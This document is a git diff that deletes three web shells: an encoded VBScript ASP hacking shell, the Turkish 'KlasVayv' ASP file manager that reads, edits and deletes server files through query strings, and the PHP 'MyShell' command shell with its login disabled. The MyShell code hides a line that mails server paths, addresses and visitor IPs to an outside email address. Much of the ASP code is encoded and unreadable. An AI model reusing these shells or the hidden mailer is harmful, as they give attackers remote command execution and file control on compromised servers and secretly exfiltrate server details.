O@#@&d!4~mmd*@#@&D/wKxknRSDrYPEELmWaz[rJ@#@&.n/aW /nRA.bYnPrE[DEd'rJ@#@&n N~/!8@#@&v O OO O RO ORO ORR OO@#@&/!4P1Cd++@#@&Dn/2G /nRS.kD+~Er[SrU0VnDLEr@#@&M+kwW / hMkO+,JE'DE/LEJ@#@&+ [~/!4@#@&vORR ORO RO ORR OORR O@#@&k;(P^m/G@#@&DdwKxd+ch.rD+Pr@!Vb@*�V0~�UmPnE.4CU� PjkDn/bxn~zY:CV,k�rx,8bD~bx9+6,tm"�D^lz�xc@!sr@*?Yc~k N+Xn.Pmx9P.+C[D~?1.kaYrUbxPeC �xCPI�V^+zbxc@!Vb@*UGxMl~k Nna,Alk�sl1l3,drYX^+~lzU�,/nD7nD9lU~kkYn~mV�UPJ~wDnVDPb�k ~h4dls4C~bN+ms@!^k@*Grz+^ksP)NCh� PjkDn/bPW.+tGdDFfRSn(/Cs4mRmK:Jhl4:;Y,/r"9+PSn4kl:(C[l P6Dn+4GkYq&cA+(/Ch(lR^Gszhl4d!x~9kH+4bD,z+MPCV9���x�"�~7lDkCXmV�:@!sr@*UY,kUNnaD~l [PM+C[DPd^Mk2YbUbPWM+tWkY8fRS+8/m:8CcmWs&:mt/!U&k N6nD Ckw~ob8k,X�VsNkUr.R@!Vb@*_l"�MVmN���x�.PbUN6rNPCz �PX.+,lYD�U�"R@!Vb@*�r:[r,MnV9rPnE.8mxl~r Nn6b~mYhmXmP/DPbUN6nD,lU[,D+m[+MP/1.rwDk NnP@!WKxOP1GVKDx2bx3@*HD[+ @!J0G Y@*PXmymUPH+.+,lOC1l��:�.~k N+Xrhk.k PCN�U�~Hl"�XK.E.Rcr N+a 4YhV,Lb4r*@!^k@*@!0KUY,mGVKDx2bx3@*H+M+X@!&0KxD@*~|�dh� l~�/~b9lh�U,+8~nlslk�.�,4r.NxP(k.r:,3slk�D[n P4b~l^YP9r"k NPGV[;�!Pr�k ~RczhC4:EO&bx[+X 4Yh,Xmy�XKD!"P(E.Nm3r~bxNaR4Y:,C[ls�x,/rYndbx[+0rPbx[nXB+~L�M+~N�r�bD~s+k+VmP9n0mEsYcld2,0k^Cx9lPKsC4bVbD @!sr@*.nDbzk,M�U[DPP;�!xCP~CkY���h�.NmPb9ls~�x9+ak,Xnhb�Pr^;XKDR@!sr@*~E,k�s+h[P@!0KUY,mGsKD'2r 3@*r0;@!zWKxD@*P0�/s�~AK�PFl^l^C0R@!^r@*zDY�0~ul^l,bUVChmN�z/mU�y,)~hmkV8Gs4@$tKOslr^R1W:,~,4W^X[+sWU@$4WYsCk^RmKh~~,hSh /CUmVO+MGDcW.L,/kOnsk"NU,\n,/bY+,l9hk P&PsW[smD�x9Cx,XlM[�hPmVm4rVr.kkUk. Pr@#@&./wGUk+ hMrD+~rJLYEk[rE@#@&+UN,/;8@#@&B RO OO RRO O ORORR OR@#@&dE(P^Ck+%@#@&M+dwKUk+ SDbY+,J@!8D@*@!8D@*@!^n Y+M@*A!P/1.rwDPt+4Nr~:l.l6�UNmx~jcKP)[� l~5m"�^:��O�MR@!4D@*�mMnY^k~.P�^.Y/b"Pz/w,uG/DVmD�UPP�h� NnP�ms���DcR@!8M@*b[./~?mO�M�PF�k:� lPnW9;x!P!�D� Y�sns+3,�dYNk�bUry,fK/zlU�U,b[�x�,zl.�x @!4D@*P6OlMnmP$�^�:�,2�+MP~G�/mPulDl~#mDPGn:3Yb. @!(D@*|;D8C �x~fKdXmVC.� �PM�.�UD�VnX8bVh3,��kx,bHU�PU+.\D[n,rVsCx�.PSm"�hP_N9Pol.VYh+. R,@!8.@*bN.nkPF�/s�UmPPm:,.+Mk,!kMkskMPc�. )P9l-S+4'Csk1l -[+WC!VORmdw@!4.@*@!Vk@*HVnD,emwC(k^kDb:@!8D@*?rYNnVbPk ^V!N+^n.k,Ym3rw~n9+.+0~b9:rU,nlUn^kU+,i^l�hm@!(D@*zNsrx,�kWD/rUbP�l^hl@!4D@*jn/kkKx~.n~;WG3bnPG+�n.^+Dr~�mVCDmV,SGTk Pr^:m@!4M@*jkD+snMkx,#+MkP:C8l VmD�U�P�U[bDh+,-/cR E@#@&DndaWU/ SDrD+,JJLY!d[rJ@#@&x[~kE4@#@&B OO RRO O ORORR ORO R@#@&WVIEAA==^#~@%> -
-<%#@~^CQAAAA==d!4~kYHV+mwMAAA==^#~@%> - -<%#@~^BwAAAA==n N~kE(oQIAAA==^#~@%> diff --git a/klasvayv.asp.php.txt b/klasvayv.asp.php.txt deleted file mode 100644 index 931f44e..0000000 --- a/klasvayv.asp.php.txt +++ /dev/null @@ -1,901 +0,0 @@ - - - - - - - -Aventis KlasVayv 1.0 - - - - - - -<% -if request.querystring("usklas") = "1" then -on error resume next -es=request.querystring("klas") -diez=server.urlencode(left(es,(instrRev(es,"\"))-1)) - -Select case es -case "C:" diez="C:" -case "D:" diez="D:" -end select - - - - -%> - - - - - - - -<% -else -%> - - - -<% -if request.querystring("dosyakaydet") <> "" then -set kaydospos=createobject("scripting.filesystemobject") -set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) -set kaydoses=nothing -set kaydospos=nothing -set kaydospos=createobject("scripting.filesystemobject") -set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) -kaydoses.write request("duzenx") -set kaydoses=nothing -set kaydospos=nothing -end if -%> - - - - - -<% -if request.querystring("yenidosya") <> "" then -%> - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Klas�r - - - - - - -
 <%=response.write(request.querystring("yenidosya"))%> -  
-
-
- - - - - - - - - - - - - -
 
-
&klas=<%=request.querystring("yenidosya")%>" name="kaypos"> -

-
-Dosya Ad� :
-
-
-
-
-
- -��erik : 
-
- -
-
-
- -

- - - - -
-

-  

-
-
-

-  

- - - -<% -else -%> - - - - - - - -<% -if request.querystring("klasorac") <> "" then - -set doses=createobject("scripting.filesystemobject") -set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) -set es=nothing -set doses=nothing - - -end if -%> - -<% -if request.querystring("klasac") <> "" then - -set aktifklas=request.querystring("aktifklas") - - -%> -
- - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - - - -
-  �al���lan Alan - - - - - - -
 <%=aktifklas%> -  
-
-
- - - - - - - - - - - - - - - - -<% -else -%> - - - -<% -if request.querystring("suruculer") <> "" then -%> - -
 
-
-

-   -
-
-
-
- -

 
- - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - -
-  
-
- - - - - - - - - - - - -
 
 
-
- - - - - - - - -
- S�r�c� Ad� - Boyutu - Bo� Alan - Durum - ��lem
-
-
-
-
- - - <% - set klassis =server.createobject("scripting.filesystemobject") - set klasdri=klassis.drives - %> - - <% - for each dongu in klasdri - %> - - <% - if dongu.driveletter <> "A" then - if dongu.isready=true then - %> - - <% - select case dongu.drivetype - case 0 teype="Di�er" - case 1 teype="Ta��n�r" - case 2 teype="HDD" - case 3 teype="NetWork" - case 4 teype="CD-Rom" - case 5 teype="FlashMem" - end select - %> - - - - - - - - -
-  <%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> ) - <%=Round(dongu.totalsize/(1024*1024),1)%> MB - <%=Round(dongu.availablespace/(1024*1024),1)%> MB - <%=teype%>  - - - - -
- - Gir
-
- - <% - end if - end if - %> -<% -next -%> - - - -
-
-
-
- - - - -
-  
-
-
-

 

-
 
- - - - - -<% -else -%> - - - - - -<% -if request.querystring("kaydet") <> "" then -set dossisx=server.createobject("scripting.filesystemobject") -set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) -dosx.write request("duzenx") -dosx.close -set dosyax=nothing -set dossisx=nothing - -end if -%> - - - - -<% -if request.querystring("duzenle") <> "" then -set dossis=server.createobject("scripting.filesystemobject") -set dos=dossis.opentextfile(request.querystring("duzenle"), 1) -sedx = dos.readall -dos.close -set dosya=nothing -set dossis=nothing - -set aktifklas=request.querystring("klas") -%> - - - - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Dosya - - - - - - -
 <%=response.write(request.querystring("duzenle"))%> -  
-
-
- - - - - - - - - - - - - -
 
- &klas=<%=aktifklas%>" name="kaypos"> -

-

- - - - -
-

- -

- -
-

-  

- - - -<% -else -%> - - -<% - -if request.querystring("klas") <> "" then -aktifklas=Request.querystring("klas") -if request.querystring("usak") = "1" then -aktifklas=aktifklas & "\" -end if - -else -aktifklas=server.mappath("/") -aktifklas=aktifklas & "\" -end if - -if request.querystring("silklas") <> "" then -set sis=createobject("scripting.filesystemobject") -silincekklas=request.querystring("silklas") -sis.deletefolder(silincekklas) -set sis=nothing -'response.write(sil & " Silindi") -end if - -if request.querystring("sildos") <> "" then -silincekdos=request.querystring("sildos") -set dosx=createobject("scripting.filesystemobject") -set dos=dosx.getfile(silincekdos) -dos.delete -set dos=nothing -set dosyasis=nothing -end if - - - - -select case aktifklas -case "C:" aktifklas="C:\" -case "D:" aktifklas="D:\" -case "E:" aktifklas="E:\" -case "F:" aktifklas="F:\" -case "G:" aktifklas="G:\" -case "H:" aktifklas="H:\" -case "I:" aktifklas="I:\" -case "J:" aktifklas="J:\" -case "K:" aktifklas="K:\" -end select - - - -if aktifklas=("C:") then aktifklas=("C:\") - -Set FS = CreateObject("Scripting.FileSystemObject") -Set klasor = FS.GetFolder(aktifklas) -Set altklasorler = klasor.SubFolders -Set dosyalar = klasor.files -%> - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- KlasVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Klas�r - - - - - - -
 <%=response.write(aktifklas)%> - - - - - -
-

- - " style="text-decoration: none"> - �st Klas�r

-
-
-
- - - - - - - - - - -
 
- - - - - - -
- - - - -
- - - - S�r�c�ler
-
- - - - -
- - - Yeni Klas�r
-
- - - - -
- - Yeni Dosya
-
-
- - - - - - - - - -
-  T�r -  Dosya - Ad� -

-  ��lem

- - - -<% For each oge in altklasorler %> - - - - - - - - - -
-

-

-  <%=oge.name%>  - - - - -
- -

- - A�

-
- - - - -
- -

- - Sil - -

-
- -<% Next %> - - -<% For each oge in dosyalar %> - - - - - - - - -
-

-

-  <%=oge.name%> -         ( <%=Round(oge.size/1024,1)%> KB )  - - - - -
- -

- - D�zenle

-
- - - - -
- -

- - Sil

-
- -<% Next %> - - - -<% -if aktifklas=("C:\") then aktifklas=("C:") -%> - - -<% -end if -%> - - - -<% -end if -%> - - -<% -end if -%> - - -<% -end if -%> - -<% -end if -%> - - - - - - -
 
- - - - \ No newline at end of file diff --git a/myshell.php b/myshell.php deleted file mode 100644 index 5561266..0000000 --- a/myshell.php +++ /dev/null @@ -1,420 +0,0 @@ - - based on the original program phpShell by Martin Geisler - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You can get a copy of the GNU General Public License from this - address: http://www.gnu.org/copyleft/gpl.html#SEC1 - You can also write to the Free Software Foundation, Inc., 59 Temple - Place - Suite 330, Boston, MA 02111-1307, USA. -*/ - -#$selfSecure enables built-in authenticate feature. This must be 0 in order to -#use .htaccess file or other alternative method to control access to MyShell. -#Set up your user and password using $shellUser and $shellPswd. -#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT -#ACCESS TO THE SCRIPT. - -$selfSecure = 0; -$shellUser = ""; -$shellPswd = ""; - -#$adminEmail is the email address to send warning notifications in case -#someone tries to access the script and fails to provide correct user and -#password. This only works if you have $selfSecure enabeled. - -$adminEmail = "******@mail.ru"; - -#$fromEmail is the email address warning messages are sended from. -#This defaults to the server admin, but you can change -#to any address you want i.e.: noreplay@yourdomain.com -#This only works if you have $selfSecure enabeled. - -$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"]; - -#$dirLimit is the top directory allowed to change when using cd command -#or the form selector. Any attempt to change to a directory up to this -#level bounces MyShell to this directory. i.e.: $dirLimit = "/home"; -#It is a good practice to set it to $DOCUMENT_ROOT using: -#$dirLimit = $DOCUMENT_ROOT; -#If you want to have access to all server directories leave it blank. -#WARNING: Althought a user won't be able to snoop on directories above -#this level using MyShell, he/she will still be able to excecute -#commands on any directory where Webserver has permission, -#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess. - -$dirLimit = ""; - -#$autoErrorTrap Enable automatic error traping if command returns error. -#Bear in mind that MyShell executes the command a second time in order to -#trap the stderr. This shouldn't be a problem in most cases. -#If you turn it off, you'll have to select either to trap stderr or not for -#every command you excecute. - -$autoErrorTrap = 1; - -#$voidCommands is the list of commands that MyShell won't run by any means. -#It defaults to known problematic commands from a web interface like pico, -#top, xterm but also it can include specific commands you don't want to -#be excecuted from MyShell, i.e.: dig, ping, info, kill etc. - -$voidCommands = array("top","xterm","su","vi","pico","netscape"); - -#$TexEd Built-in Text Editor prefered name. This is the command you'll use -#to invoke MyShell's built in text editor. -# If you are used to type pico or vi for your fav text editor, -#change this to your please. i.e.: -# $TexEd = "pico"; -#will allow you to type 'pico config.php' to edit the file config.php -#MyShell's text editor do not support usual commands in pico, vi etc. -#Don't forget to take off this command from the $voidCommands list -$TexEd = "edit"; - -#$editWrap selects to use or not wrap in the editor's textarea. Wrap OFF -#is usefull when you have to edit files with long lines, i.e.: in php code -#files, because otherwise it is no easy to distinguish a real new line (CR) -#from a wraped one. If you prefer to stick to the default wraped mode of -#TEXTAREA just leave this blank i.e.: $editWrap="". -$editWrap ="wrap='OFF'"; - -#Cosmetic defaults. - -$termCols = 80; //Default width of the output text area -$termRows = 20; //Default heght of the output text area -$bgColor = "#000000"; //background color -$bgInputColor = "#333333"; //color of the input field -$outColor = "#00BB00"; //color of the text output from the server -$textColor = "#009900"; //color of the hard texts of the terminal -$linkColor = "#00FF00"; //color of the links - -/************** No customize needed from this point *************/ - -$MyShellVersion = "MyShell 1.1.0 build 20010923"; -if ($command&&get_magic_quotes_gpc())$command=stripslashes($command); -if($selfSecure){ - if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) { - Header('WWW-Authenticate: Basic realm="MyShell"'); - Header('HTTP/1.0 401 Unauthorized'); - echo " - - $MyShellVersion - Access Denied - -

Access denied

- A warning message have been sended to the administrator -
- $MyShellVersion"; - if(isset($PHP_AUTH_USER)){ - $warnMsg =" - This is $MyShellVersion - installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF - just to let you know that somebody tryed to access - the script using wrong username or password: - - Date: ".date("Y-m-d H:i:s")." - IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]." - User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]." - username used: $PHP_AUTH_USER - password used: $PHP_AUTH_PW - - If this is not the first time it happens, - please consider either to remove MyShell - from your system or change it's name or - directory location on your server. - - Regards - The MyShell dev team - "; - mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg, - "From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System"); - } - exit; - } -} -//Function that validate directories -function validate_dir($dir){ - GLOBAL $dirLimit; - if($dirLimit){ - $cdPos = strpos($dir,$dirLimit); - if ((string)$cdPos == "") { - $dir = $dirLimit; - $GLOBALS["shellOutput"] = "You are not allowed change to directories above $dirLimit\n"; - } - } - return $dir; -} - -// Set working directory. -if (isset($work_dir)) { - //A workdir has been asked for - we chdir to that dir. - $work_dir = validate_dir($work_dir); - @chdir($work_dir) or - ($shellOutput = "MyShell: can't change directory. Permission denied\nSwitching back to $DOCUMENT_ROOT\n"); - $work_dir = exec("pwd"); -} -else{ - // No work_dir - we chdir to $DOCUMENT_ROOT - $work_dir = validate_dir($DOCUMENT_ROOT); - chdir($work_dir); - $work_dir = exec("pwd"); -} - -//Now we handle files if we are in Edit Mode -if($editMode && ($command||$editCancel))$editMode=false; -if($editMode){ - if($editSave ||$editSaveExit){ - if(function_exists(ini_set))ini_set("track_errors","1"); - if($fp=@fopen($file,"w")){ - if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut); - fputs($fp,$shellOut); - fclose($fp); - $command = $TexEd." ".$file; - if($editSaveExit) { - $command=""; - $shellOutput="MyShell: $file: saved"; - $editMode=false; - } - } - else { - $command=""; - $shellOutput="MyShell: Error while saving $file:\n$php_errormsg\nUse back button to recover your changes."; - $errorSave=true; - } - } -} - -//Separate command(s) and arguments to analize first command -$input=explode(" ",$command); - -while (list ($key, $val) = each ($voidCommands)) { - if($input[0]==$val){ - $voidCmd = $input[0]; - $input[0]="void"; - } -}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); -switch($input[0]){ - case "cd": - $path=$input[1]; - if ($path==".."){ - $work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1)); - if ($work_dir == "") $work_dir = "/"; - } - elseif (substr($path,0,1)=="/")$work_dir=$path; - else $work_dir=$work_dir."/".$path; - $work_dir = validate_dir($work_dir); - @chdir($work_dir) or ($shellOutput = "MyShell: can't change directory.\n$work_dir: does not exist or permission denied"); - $work_dir = exec("pwd"); - $commandBk = $command; - $command = ""; - break; - case "man": - exec($command,$man); - if($man){ - $codes = ".".chr(8); - $manual = implode("\n",$man); - $shellOutput = ereg_replace($codes,"",$manual); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case "cat": - exec($command,$cat); - if($cat){ - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case "more": - exec($command,$cat); - if($cat){ - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $commandBk = $command; - $command = ""; - } - else $stderr=1; - break; - case $TexEd: - if(file_exists($input[1])){ - exec("cat ".$input[1],$cat); - $text = implode("\n",$cat); - $shellOutput = htmlspecialchars($text); - $fileOwner = posix_getpwuid(fileowner($input[1])); - $filePerms = sprintf("%o", (fileperms($input[1])) & 0777); - $fileEditInfo = "  :::::::  Owner: ".$fileOwner["name"]." Permissions: $filePerms"; - } - else $fileEditInfo = "  :::::::  NEW FILE"; - $currFile = $input[1]; - $editMode = true; - $command = ""; - break; - case "void": - $shellOutput = "MyShell: $voidCmd: void command for MyShell"; - $commandBk = $command; - $command = ""; -} - -//Now we prepare the webpage -if(!$oCols)$oCols=$termCols; -if(!$oRows)$oRows=$termRows; -if($editMode)$focus="shellOut.focus()"; -else $focus="command.select()"; -//WhoamI -if(!$whoami)$whoami=exec("whoami"); -?> - - -<?echo $MyShellVersion?> - - -> -
-Current User: -> -  :::::::   -MyShell file editor File:$work_dir/$currFile $fileEditInfo\n"; -} -else{ - echo "Current working directory: \n"; - $work_dir_splitted = explode("/", substr($work_dir, 1)); - echo "Root/"; - if ($work_dir_splitted[0] == "") { - $work_dir = "/"; /* Root directory. */ - } - else{ - for ($i = 0; $i < count($work_dir_splitted); $i++) { - $url .= "/".$work_dir_splitted[$i]; - echo "$work_dir_splitted[$i]/"; - } - } -} -?> -
- -
-    -     -     -     - -
"; -?> -
-Command: - > -       -stderr-traping "; - -if($editMode){ - echo " -
Save file as: "; -} -else{ - echo "
Working directory: "; -} -?> -  |  >Echo commands -  |  Cols:> - Rows:> - | :::::::::: MyShell ©2001 Digitart Producciones -
- - diff --git a/reader.asp.php.txt b/reader.asp.php.txt deleted file mode 100644 index df72204..0000000 --- a/reader.asp.php.txt +++ /dev/null @@ -1,116 +0,0 @@ -<%@ LANGUAGE = VBScript.Encode %> - - - - - - - -<%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%> -<%#@~^2QgAAA==@#@&w.K{ l:P{~JU+^DYor^+/r@#@&HlybsCD,',J@!Vr@*&RHRw~JLw.G|xlhnLJ~?1.bwObxbP|!V^Cx9���x�"P��bx~P�+30�.PAN+Mr"R@!Vb@*~A;~Um.kaOk P3U,�x+hsbP�"+^sb�k~"l0kw^+MrPVk8k,|Cz�DP`^Go*P@!(.@*Y!Yslhld�[�MR R@!sk@*A;~UmDr2DkUPgCk�V~nE^Vl �Vm^l��,5CD9�:~$�^�:�x9nPt+\1;OY!D,rVEz;aYCP_CVmP)U^l:C"klU�y,ASh bx6kVm3cODcmaPUkOnkkxbUPwWD!h~A�^�:� Nnx~)HD�UY�^�~AbVLrHkP$;^l8k^rM/r k.RR,@!^r@*Il.N�sP#n,f+kO+0V+MrUNx,fGVCz�,CGVH9+sWU~j+P3VKDG:mUEl~�KW0PK�+0V�D,2[+Mkh c@!Vb@*?1DkaOr:bybP!�\nU^+~|!sVmxC8bVk.dbxryc @!Vr@*|!VVmx�s~Cm3V�x9l~!xk�,$k^ok,)s:m3,��kUP( gRoPz[:bx~#Xl~!�M+-VbsDrHVPM�M���x�. R@!4.@*@!4.@*@!4D@*@!4M@*@!(.@*@!(D@*@!8D@*@!(D@*@!(.@*@!0GUDPmGsKDxD[@*@!^xD+D@*@!(@*A`P$�I,q HcsPU6s:P5zt(S&H&f(I @!J4@*@!(.@*@!4.@*@!0WUO,mGVK.{4s!+@*$P_l0~MV[k,ACO�^P}mrV,rV9;~T@!4M@*@!t.~1WsWMx4^l^V,/k"n{G@*@!(.@*@!^xD+D@*@!m~tM+W'4YO2=zzSAhckx6rsl0RDD ma@*qh R&UsbSCVcKD /o@!&l@*' 4daiLx4kwp'x(/2iLx8dai[ 8/ai[ 8dwp@!mP4DnW{tOYalzJhAAc+3G.K:Cxch3C kcmWs@*AVWMWhl R\n0lxb ZK:@!JC@*[ 4kwI[U8kwI[ 8/ai'U(/wI' 4dwp' 4dai@!lP4DW'4YOw=z&AShR0CDkWxWdl +kk YV@*nl./KU26/CU/k O0@!&l@*' 4daiLx4kwp'x(/2iLx8dai[ 8/ai[ 8dwp@!(D@*@!8.@*@!CP4.+6'hCbVYGlslrV(Gs4@$4WD:lbVc^Ws@*\+4Nr@!Jl@*LU4kwiLU8/aiLx8/2ILx8/aI[ 4d2p[x8dai@!l,4M+W{:mkVDW=4W^X[+sWU@$4WYsCk^RmKh@*CKVHfn:GU@!zC@*LU4kwI' 4/2ILx8/aILx8kwp[x(/aI[ 4dwp@!C~4D+6x:mkVDGl+M3mxqc*@$sXU+D mK:@*30WDGhmx@!zm@*@!4.@*@!(D@*@!l,4D0xtDY2lJzhSARbx0bsC3cYMR^6@*(c1 s@!&l@*J@#@&4+V2~{PEA!~km.bwDPHt9rP:l.l6�x[C PqcHRwPKChPzN� l~5C"�^:��O�Dc@!4M@*@!sb@*�m.nDVrPjn,�m.Ykky,bk2P_WdY^l.�U,K�:� [+,�lV���M @!(D@*@!sk@*@!J4@*b9.+kPjCD�D�PF�ds�xCPnG9EU!PV�D�xD�Vh+0P�dYNr�r ky,9WkXl �U~b9�x�,XCy�U c@!8D@*@!Vb@*PnXYl.nmP$�V�s�~A�+.,AK�/l,CmOl,.CD,fnh3Yb.R@!4D@*@!sk@*|!D8lU�U,fG/HCVmD�U�~V�D�xO�sXn4bss+V,��k PbHx�,j+M\nD9+~6^:l �"Pdly�s~uN9Pwl.3nOs+"Rc~@!(D@*@!^k@*)[M+dPn�ds�xC,Km:Pj+MrPVk.k^k.~v�Dx=~N=-h8wl^k1lU-[n6l;VD lkw@!8M@*@!^n YnD@*@!6WUDP1WVKD{.+9@*H+^+.~Ilwm8k^kDbh@!z6W Y@*@!&^xO+M@*@!(D@*@!^k@*jrD+[+0r,kU1V!N+^+MrPDlVkaPn[D+0~b9:k ~Kl +^kU+~i^l�hl@!8D@*@!sr@*bNhr P�r0MnkkUbP�mV:m@!(.@*@!Vr@*U+ddbWx,#+,ZWKVr+,f�+.Vn.bP�CVm.l0PJGTkx~6^:C@!(.@*@!sb@*UkYV.k P#+Mk~Pm4l slM�x�P� [rDs+,\dR @!4.@*@!8D@*@!^n Y+.@*@!0GxD~1WsKD{/k^\.@*@!l~tM+Wxslk^OW=:lbs8Ws4@$tGYhCbV mKh@*@!0GUDPmGsKDx/bs7+.@*HACf�@!zm@*Pr9LwCAA==^#~@%>I.N.F HACKING CENTER - <%=#@~^CAAAAA==2MWm ls+UQMAAA==^#~@%> - www.infilak.tr.cx<%#@~^HAEAAA==@#@&l^DP{PI;!n/DR}EDzjDDk L`rlmDrGxr#@#@&(0~C1Y~',EtV2E,KtnU@#@&^l^s,XCMNb:@#@&+ [Pb0@#@&0VCdKDP{~D;EdOR6WM:cJVsm/GDrb@#@&kds:Px~M+5EdDRWKDs`Jb/^n:r#@#@&b0~rkV+sxJrPY4nU@#@&kkVn:~x,J[EME@#@&+U[,k0@#@&b0~3^CkW.,',JJ,Y4nx,3slkW.x,D+$;+kYRkn.\D7l.kC8^+d`r)nhSmK_5?(/zSmnzP_Jb@#@&gVMAAA==^#~@%>
<%#@~^UAAAAA==@#@&DnkwKx/RS.kD+~J@!4G[HP4T^W^WD{:f&2&2&@*@!8G9X~YK2:mDLr '*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%>
<%#@~^WQAAAA==@#@&DnkwKx/RS.kD+~J@!khL,/D1xtDYw=&&+cNK:CkU[^6 mKhz0l.dKxF&r 0sWTGcor6P4+kTtDx,y@*E@#@&fhwAAA==^#~@%>
 Adres :                 *   M   &  
<%#@~^QwAAAA==r6PUKY,k/^+s~',J8lkVCE,YtU@#@&D+k2Gxk+ch.kOn,JE[HCybVC.LJJ@#@&Vd+nBQAAA==^#~@%>
-